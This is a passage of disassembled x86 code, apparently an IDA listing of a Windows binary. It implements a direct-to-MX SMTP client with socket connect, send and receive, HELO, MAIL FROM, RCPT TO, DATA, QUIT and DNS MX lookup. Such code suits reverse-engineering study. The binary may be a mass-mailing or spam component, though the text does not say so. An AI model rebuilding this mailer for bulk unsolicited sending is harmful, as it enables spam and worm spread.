		mov	[ebp+var_14], 2
		call	dword_41C1EC	; ntohs
		mov	[ebp+var_12], ax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	dword ptr [esi]
		call	dword_41C204	; connect
		test	eax, eax
		jz	short loc_40CDEA
		call	dword_41C210	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40CDBC
		push	14h
		pop	eax
		call	sub_40D602
		test	eax, eax
		setnle	al
		test	al, al
		jnz	short loc_40CDEA


loc_40CDBC:				; CODE XREF: sub_40CCCC+DDj
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40CDC4
		mov	ebx, [ebx]


loc_40CDC4:				; CODE XREF: sub_40CCCC+F4j
		push	[ebp+var_10]
		call	dword_41C1FC	; inet_ntoa
		push	eax
		push	ebx
		push	offset aSmtpclientCo_0 ; "SmtpClient::connect: cannot connect to "...
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 10h
		jmp	loc_40CD57
; ---------------------------------------------------------------------------


loc_40CDEA:				; CODE XREF: sub_40CCCC+D0j
					; sub_40CCCC+EEj
		push	esi
		call	sub_40D355


loc_40CDF0:				; CODE XREF: sub_40CCCC+93j
		pop	esi
		pop	ebx
		leave
		retn
sub_40CCCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDF4	proc near		; CODE XREF: sub_407949+54p
					; sub_407E77+73p
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		and	dword ptr [ebp-4], 0
		push	0FFFFFFFFh
		push	0
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-28h]
		call	sub_401315
		push	offset asc_41EBE8 ; "\r\n"
		lea	eax, [ebp-28h]
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40CE42
		lea	eax, [ebp-24h]


loc_40CE42:				; CODE XREF: sub_40CDF4+49j
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		mov	ecx, esi
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40CE8D
		push	offset aSmtpclientComm ; "SmtpClient::command: connection broken\n"...
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40CE70:				; CODE XREF: sub_40CDF4+A1j
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40CE8D:				; CODE XREF: sub_40CDF4+5Dj
		push	esi
		call	sub_40D355
		mov	esi, eax
		jmp	short loc_40CE70
sub_40CDF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE97	proc near		; CODE XREF: sub_403C76+15Ep
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 20h
		push	esi
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		and	dword ptr [ebp-4], 0
		push	offset aHelo	; "HELO	"
		lea	ecx, [ebp-28h]
		call	sub_4013A7
		mov	eax, [ebp+0Ch]
		push	0FFFFFFFFh
		push	0
		lea	esi, [ebp-28h]
		call	sub_401F95
		push	offset asc_41EBE8 ; "\r\n"
		mov	eax, esi
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40CEEF
		lea	eax, [ebp-24h]


loc_40CEEF:				; CODE XREF: sub_40CE97+53j
		mov	ecx, [ebp+8]
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40CF3E
		push	offset aSmtpclientHelo ; "SmtpClient::helo: connection broken\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		mov	esi, [ebp+8]
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40CF21:				; CODE XREF: sub_40CE97+B1j
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40CF3E:				; CODE XREF: sub_40CE97+68j
		push	dword ptr [ebp+8]
		call	sub_40D355
		mov	esi, eax
		jmp	short loc_40CF21
sub_40CE97	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF4A	proc near		; CODE XREF: sub_403C76+174p
					; sub_407949+6Bp ...
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 20h
		push	esi
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		and	dword ptr [ebp-4], 0
		push	offset aMailFrom ; "MAIL FROM: <"
		lea	ecx, [ebp-28h]
		call	sub_4013A7
		mov	eax, [ebp+0Ch]
		push	0FFFFFFFFh
		push	0
		lea	esi, [ebp-28h]
		call	sub_401F95
		push	offset asc_41F0D0 ; ">\r\n"
		mov	eax, esi
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40CFA2
		lea	eax, [ebp-24h]


loc_40CFA2:				; CODE XREF: sub_40CF4A+53j
		mov	ecx, [ebp+8]
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40CFF1
		push	offset aSmtpclientMail ; "SmtpClient::mailFrom:	connection broken"...
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		mov	esi, [ebp+8]
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40CFD4:				; CODE XREF: sub_40CF4A+B1j
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40CFF1:				; CODE XREF: sub_40CF4A+68j
		push	dword ptr [ebp+8]
		call	sub_40D355
		mov	esi, eax
		jmp	short loc_40CFD4
sub_40CF4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFFD	proc near		; CODE XREF: sub_403C76+18Ap
					; sub_407949+100p ...
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 20h
		push	esi
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		and	dword ptr [ebp-4], 0
		push	offset aRcptTo	; "RCPT	TO: <"
		lea	ecx, [ebp-28h]
		call	sub_4013A7
		mov	eax, [ebp+0Ch]
		push	0FFFFFFFFh
		push	0
		lea	esi, [ebp-28h]
		call	sub_401F95
		push	offset asc_41F0D0 ; ">\r\n"
		mov	eax, esi
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40D055
		lea	eax, [ebp-24h]


loc_40D055:				; CODE XREF: sub_40CFFD+53j
		mov	ecx, [ebp+8]
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40D0A4
		push	offset aSmtpclientRcpt ; "SmtpClient::rcptTo: connection broken\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		mov	esi, [ebp+8]
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40D087:				; CODE XREF: sub_40CFFD+B1j
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40D0A4:				; CODE XREF: sub_40CFFD+68j
		push	dword ptr [ebp+8]
		call	sub_40D355
		mov	esi, eax
		jmp	short loc_40D087
sub_40CFFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0B0	proc near		; CODE XREF: sub_407949+1ADp
					; sub_407E77+1CCp
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 20h
		push	esi
		push	edi
		mov	esi, ecx
		push	offset aData	; "DATA\r\n"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40D0DE
		lea	eax, [ebp-24h]


loc_40D0DE:				; CODE XREF: sub_40D0B0+29j
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		mov	ecx, esi
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40D12A


loc_40D0EF:				; CODE XREF: sub_40D0B0+C3j
		push	0FFFFFFFEh
		pop	edi
		push	offset aSmtpclientData ; "SmtpClient::data: connection broken\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		call	sub_40CC9C


loc_40D10C:				; CODE XREF: sub_40D0B0+89j
					; sub_40D0B0+D1j
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, edi
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40D12A:				; CODE XREF: sub_40D0B0+3Dj
		push	esi
		call	sub_40D355
		mov	edi, eax
		call	sub_40D211
		test	al, al
		jz	short loc_40D10C
		push	0FFFFFFFFh
		push	0
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-28h]
		call	sub_401315
		push	offset a__0	; "\r\n.\r\n"
		lea	eax, [ebp-28h]
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40D164
		lea	eax, [ebp-24h]


loc_40D164:				; CODE XREF: sub_40D0B0+AFj
		push	3Ch
		push	eax
		mov	eax, [ebp-14h]
		mov	ecx, esi
		call	sub_40D66E
		test	eax, eax
		jnz	loc_40D0EF
		push	esi
		call	sub_40D355
		mov	edi, eax
		jmp	short loc_40D10C
sub_40D0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D183	proc near		; CODE XREF: sub_403C76+1C1p
					; sub_407949+1C4p ...
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 1Ch
		push	esi
		push	edi
		mov	esi, ecx
		push	offset aQuit	; "QUIT\r\n"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_40D1B1
		lea	eax, [ebp-24h]


loc_40D1B1:				; CODE XREF: sub_40D183+29j
		push	14h
		push	eax
		mov	eax, [ebp-14h]
		mov	ecx, esi
		call	sub_40D66E
		test	eax, eax
		jz	short loc_40D1FB
		push	offset aSmtpclientQuit ; "SmtpClient::quit: connection broken\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40D1DF:				; CODE XREF: sub_40D183+8Cj
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1FB:				; CODE XREF: sub_40D183+3Dj
		push	esi
		call	sub_40D355
		cmp	dword ptr [esi], 0FFFFFFFFh
		mov	edi, eax
		jz	short loc_40D20D
		call	sub_40CC9C


loc_40D20D:				; CODE XREF: sub_40D183+83j
		mov	esi, edi
		jmp	short loc_40D1DF
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D211	proc near		; CODE XREF: sub_403C76+11Dp
					; sub_403C76+163p ...
		push	64h
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, 2
		jz	short loc_40D224
		cmp	eax, 3
		jz	short loc_40D224
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40D224:				; CODE XREF: sub_40D211+9j
					; sub_40D211+Ej
		xor	eax, eax
		inc	eax
		retn
sub_40D211	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D228	proc near		; CODE XREF: sub_40399B+39p
					; sub_403B47+4Fp
		mov	eax, offset loc_41AF37
		call	sub_41AE44
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, ecx
		mov	[ebp-14h], edi
		mov	ecx, [ebp+8]
		push	esi
		mov	[ebp-10h], edi
		call	sub_401C1E
		mov	[ebp-4], edi
		cmp	dword ptr [esi+18h], 10h
		mov	dword ptr [ebp-14h], 1
		jb	short loc_40D261
		mov	esi, [esi+4]
		jmp	short loc_40D264
; ---------------------------------------------------------------------------


loc_40D261:				; CODE XREF: sub_40D228+32j
		add	esi, 4


loc_40D264:				; CODE XREF: sub_40D228+37j
		push	edi
		lea	eax, [ebp-10h]
		push	eax
		push	edi
		push	edi
		push	0Fh
		push	esi
		call	sub_40D772	; DnsQuery_A
		test	eax, eax
		pop	edi
		pop	esi
		jnz	short loc_40D291
		mov	eax, [ebp-10h]
		push	dword ptr [eax+18h]
		mov	ecx, [ebp+8]
		call	sub_4013A7
		push	1
		push	dword ptr [ebp-10h]
		call	sub_40D778	; DnsRecordListFree


loc_40D291:				; CODE XREF: sub_40D228+4Fj
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		mov	large fs:0, ecx
		leave
		retn
sub_40D228	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2A0	proc near		; CODE XREF: sub_409358+35p
		mov	eax, offset loc_41AF5A
		call	sub_41AE44
		sub	esp, 44h
		push	esi
		mov	esi, [ebp+8]
		and	dword ptr [ebp-10h], 0
		push	edi
		call	sub_4012E2
		and	dword ptr [ebp-4], 0
		push	40h
		lea	eax, [ebp-50h]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd',' dd MMM yyyy "
		push	dword ptr [ebp+0Ch]
		mov	edi, 409h
		push	0
		push	edi
		mov	dword ptr [ebp-10h], 1
		call	dword_41C0E4	; GetDateFormatA
		lea	eax, [ebp-50h]
		push	eax
		mov	ecx, esi
		call	sub_4013A7
		push	40h
		lea	eax, [ebp-50h]
		push	eax
		push	offset aHhMmSs	; "HH':'mm':'ss "
		push	dword ptr [ebp+0Ch]
		push	0
		push	edi
		call	dword_41C0E0	; GetTimeFormatA
		lea	eax, [ebp-50h]
		push	eax
		push	esi
		call	sub_401C66
		mov	eax, [ebp+10h]
		push	3Ch
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4103BA
		push	eax
		mov	eax, [ebp+10h]
		push	0FFFFFFC4h
		pop	ecx
		cdq
		idiv	ecx
		push	eax
		push	offset a02_2d02d ; "%+02.2d%02d"
		lea	eax, [ebp-50h]
		push	40h
		push	eax
		call	sub_40D9FB
		add	esp, 18h
		lea	eax, [ebp-50h]
		push	eax
		push	esi
		call	sub_401C66
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40D2A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D355	proc near		; CODE XREF: sub_40CCCC+11Fp
					; sub_40CDF4+9Ap ...
		mov	eax, offset loc_41B0FB
		call	sub_41AE44
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		lea	ecx, [ebp-3Ch]
		mov	dword ptr [ebp-24h], 0Fh
		call	sub_401564
		and	dword ptr [ebp-4], 0
		mov	ebx, [ebp+8]
		add	ebx, 4
		mov	[ebp-1Ch], ebx
		mov	ecx, ebx


loc_40D385:				; CODE XREF: sub_40D355+C0j
		push	offset dword_41E020
		call	sub_4013A7


loc_40D38F:				; CODE XREF: sub_40D355+C9j
					; sub_40D355+DAj ...
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-10h], 1
		xor	edi, edi


loc_40D39B:				; CODE XREF: sub_40D355+89j
		push	0
		push	dword ptr [ebp-10h]
		lea	eax, [ebp+edi-18h]
		push	eax
		push	dword ptr [esi]
		call	dword_41C1E0	; recv
		test	eax, eax
		jz	loc_40D44B
		jg	short loc_40D3D5
		call	dword_41C210	; WSAGetLastError
		cmp	eax, 2733h
		jnz	loc_40D44B
		call	sub_40D599
		test	eax, eax
		jz	short loc_40D44B
		jl	short loc_40D44B
		xor	eax, eax


loc_40D3D5:				; CODE XREF: sub_40D355+60j
		sub	[ebp-10h], eax
		add	edi, eax
		cmp	dword ptr [ebp-10h], 0
		jg	short loc_40D39B
		cmp	byte ptr [ebp-18h], 0Ah
		jnz	short loc_40D41A
		cmp	dword ptr [ebp-28h], 4
		jb	loc_40D487
		push	3
		pop	edi
		lea	eax, [ebp-3Ch]
		call	sub_4012F5
		cmp	byte ptr [eax],	2Dh
		jnz	loc_40D487
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-3Ch]
		mov	esi, ebx
		call	sub_401F95
		lea	ecx, [ebp-3Ch]
		jmp	loc_40D385
; ---------------------------------------------------------------------------


loc_40D41A:				; CODE XREF: sub_40D355+8Fj
		cmp	byte ptr [ebp-18h], 0Dh
		jz	loc_40D38F
		mov	eax, [esi+18h]
		add	eax, [ebp-28h]
		cmp	eax, 4000h
		jnb	loc_40D38F
		push	dword ptr [ebp-18h]
		xor	ebx, ebx
		inc	ebx
		lea	esi, [ebp-3Ch]
		call	sub_40140F
		mov	ebx, [ebp-1Ch]
		jmp	loc_40D38F
; ---------------------------------------------------------------------------


loc_40D44B:				; CODE XREF: sub_40D355+5Aj
					; sub_40D355+6Dj ...
		push	offset aSmtpclientRecv ; "SmtpClient::recvResponse: connection br"...
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		call	sub_40CC9C
		push	0FFFFFFFEh
		pop	esi


loc_40D468:				; CODE XREF: sub_40D355+1BEj
					; sub_40D355+1E9j
		push	0
		push	1
		lea	ecx, [ebp-3Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40D487:				; CODE XREF: sub_40D355+95j
					; sub_40D355+A9j
		mov	eax, esi
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D4B7
		xor	edi, edi
		mov	eax, ebx
		call	sub_4012F5
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_40D4B7
		lea	eax, [ebp-20h]
		mov	ecx, ebx
		call	sub_405472
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp-14h]
		push	eax
		mov	eax, ebx
		call	sub_40D543


loc_40D4B7:				; CODE XREF: sub_40D355+138j
					; sub_40D355+146j
		mov	eax, esi
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D4E7
		xor	edi, edi
		mov	eax, ebx
		call	sub_4012F5
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40D4E7
		lea	eax, [ebp-20h]
		mov	ecx, ebx
		call	sub_405472
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp-14h]
		push	eax
		mov	eax, ebx
		call	sub_40D543


loc_40D4E7:				; CODE XREF: sub_40D355+168j
					; sub_40D355+176j
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-3Ch]
		mov	esi, ebx
		call	sub_401F95
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_40D500
		mov	eax, [ebx+4]
		jmp	short loc_40D503
; ---------------------------------------------------------------------------


loc_40D500:				; CODE XREF: sub_40D355+1A4j
		lea	eax, [ebx+4]


loc_40D503:				; CODE XREF: sub_40D355+1A9j
		push	eax
		call	sub_410040
		pop	ecx
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jnz	loc_40D468
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_40D524
		mov	ebx, [ebx+4]
		jmp	short loc_40D527
; ---------------------------------------------------------------------------


loc_40D524:				; CODE XREF: sub_40D355+1C8j
		add	ebx, 4


loc_40D527:				; CODE XREF: sub_40D355+1CDj
		push	ebx
		push	offset aS	; "%s\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		jmp	loc_40D468
sub_40D355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D543	proc near		; CODE XREF: sub_40D355+15Dp
					; sub_40D355+18Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_C]
		mov	ecx, esi
		call	sub_405472
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405E8F
		add	esp, 10h
		mov	edi, eax
		push	1
		push	edi
		mov	ecx, esi
		call	sub_4014F5
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40D582
		mov	eax, [esi+4]
		jmp	short loc_40D585
; ---------------------------------------------------------------------------


loc_40D582:				; CODE XREF: sub_40D543+38j
		lea	eax, [esi+4]


loc_40D585:				; CODE XREF: sub_40D543+3Dj
		lea	ebx, [eax+edi]
		mov	edi, [ebp+arg_0]
		call	sub_405E52
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_40D543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D599	proc near		; CODE XREF: sub_40D355+73p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, [esi]
		and	[ebp+var_4], 0
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_210], ecx
		mov	[ebp+var_10C], ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_10C]
		push	ecx
		push	0
		lea	ecx, [ebp+var_210]
		mov	[ebp+var_20C], eax
		mov	[ebp+var_108], eax
		push	ecx
		inc	eax
		push	eax
		mov	[ebp+var_8], 1Eh
		call	dword_41C214	; select
		test	eax, eax
		jle	short locret_40D600
		lea	eax, [ebp+var_10C]
		push	eax
		push	dword ptr [esi]
		call	sub_40D77E	; __WSAFDIsSet
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax

locret_40D600:				; CODE XREF: sub_40D599+4Fj
		leave
		retn
sub_40D599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D602	proc near		; CODE XREF: sub_40CCCC+E2p
					; sub_40D66E+34p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		mov	ecx, [esi]
		xor	edx, edx
		inc	edx
		mov	[ebp+var_8], eax
		inc	eax
		neg	eax
		sbb	eax, eax
		mov	[ebp+var_210], edx
		mov	[ebp+var_10C], edx
		lea	edx, [ebp+var_8]
		and	eax, edx
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		mov	[ebp+var_20C], ecx
		mov	[ebp+var_108], ecx
		push	0
		inc	ecx
		push	ecx
		call	dword_41C214	; select
		test	eax, eax
		jle	short locret_40D66C
		lea	eax, [ebp+var_10C]
		push	eax
		push	dword ptr [esi]
		call	sub_40D77E	; __WSAFDIsSet
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax

locret_40D66C:				; CODE XREF: sub_40D602+52j
		leave
		retn
sub_40D602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D66E	proc near		; CODE XREF: sub_40CDF4+56p
					; sub_40CE97+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, ecx
		xor	edi, edi
		jmp	short loc_40D6B3
; ---------------------------------------------------------------------------


loc_40D679:				; CODE XREF: sub_40D66E+47j
		mov	eax, [esp+0Ch+arg_0]
		push	0
		push	ebx
		add	eax, edi
		push	eax
		push	dword ptr [esi]
		call	dword_41C1F0	; send
		test	eax, eax
		jz	short loc_40D6BF
		jg	short loc_40D6AF
		call	dword_41C210	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40D6BF
		mov	eax, [esp+0Ch+arg_4]
		call	sub_40D602
		test	eax, eax
		jz	short loc_40D6C4
		jl	short loc_40D6BF
		xor	eax, eax


loc_40D6AF:				; CODE XREF: sub_40D66E+21j
		add	edi, eax
		sub	ebx, eax


loc_40D6B3:				; CODE XREF: sub_40D66E+9j
		test	ebx, ebx
		jg	short loc_40D679
		xor	eax, eax


loc_40D6B9:				; CODE XREF: sub_40D66E+54j
					; sub_40D66E+59j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40D6BF:				; CODE XREF: sub_40D66E+1Fj
					; sub_40D66E+2Ej ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D6B9
; ---------------------------------------------------------------------------


loc_40D6C4:				; CODE XREF: sub_40D66E+3Bj
		xor	eax, eax
		inc	eax
		jmp	short loc_40D6B9
sub_40D66E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6C9	proc near		; CODE XREF: sub_40D748+15p
		mov	al, [edi+4]
		test	al, al
		jnz	short loc_40D745
		push	ebx
		push	ebp
		push	esi


loc_40D6D3:				; CODE XREF: sub_40D6C9+77j
		mov	esi, [edi]
		call	sub_4026D0
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4]
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]
		mov	esi, [edi]
		lea	ebx, [esi+108h]
		push	ebx
		call	dword_41C070	; RtlEnterCriticalSection
		lea	eax, [esi+0DCh]
		dec	dword ptr [eax]
		mov	ebp, [eax]
		lea	eax, [esi+0E0h]
		call	sub_4058DF
		cmp	ebp, eax
		jnb	short loc_40D734
		cmp	dword ptr [esi+100h], 0
		jnz	short loc_40D734
		cmp	dword ptr [esi+0B4h], 0C8h
		jnb	short loc_40D734
		push	dword ptr [esi+0D8h]
		call	dword_41C088	; SetEvent


loc_40D734:				; CODE XREF: sub_40D6C9+48j
					; sub_40D6C9+51j ...
		push	ebx
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	al, [edi+4]
		test	al, al
		jz	short loc_40D6D3
		pop	esi
		pop	ebp
		pop	ebx


loc_40D745:				; CODE XREF: sub_40D6C9+5j
		xor	eax, eax
		retn
sub_40D6C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D748	proc near		; DATA XREF: sub_4033DA+C5o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		call	sub_40FDF8
		push	eax
		call	sub_40FA79
		mov	edi, [esp+10h+arg_0]
		pop	ecx
		pop	ecx
		call	sub_40D6C9
		push	edi
		mov	esi, eax
		call	sub_40DD8A
		pop	ecx
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_40D748	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D772	proc near		; CODE XREF: sub_402F64+ECp
					; sub_403A28+6Ap ...
		jmp	dword_41C020
sub_40D772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D778	proc near		; CODE XREF: sub_402F64+152p
					; sub_403A28+FDp ...
		jmp	dword_41C01C
sub_40D778	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D77E	proc near		; CODE XREF: sub_40D599+5Ap
					; sub_40D602+5Dp
		jmp	dword_41C20C
sub_40D77E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D784	proc near		; CODE XREF: sub_40140F+Ap
					; sub_401580+Dp ...
		push	44h
		mov	eax, offset loc_41AE6B
		call	sub_410BDC
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C2A8
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40D784	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D7C3	proc near		; CODE XREF: sub_401315+13p
					; sub_4014F5+Fp ...
		push	44h
		mov	eax, offset loc_41AE6B
		call	sub_410BDC
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401869
		push	offset dword_41FF68
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C2B4
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40D7C3	endp ; sp-analysis failed


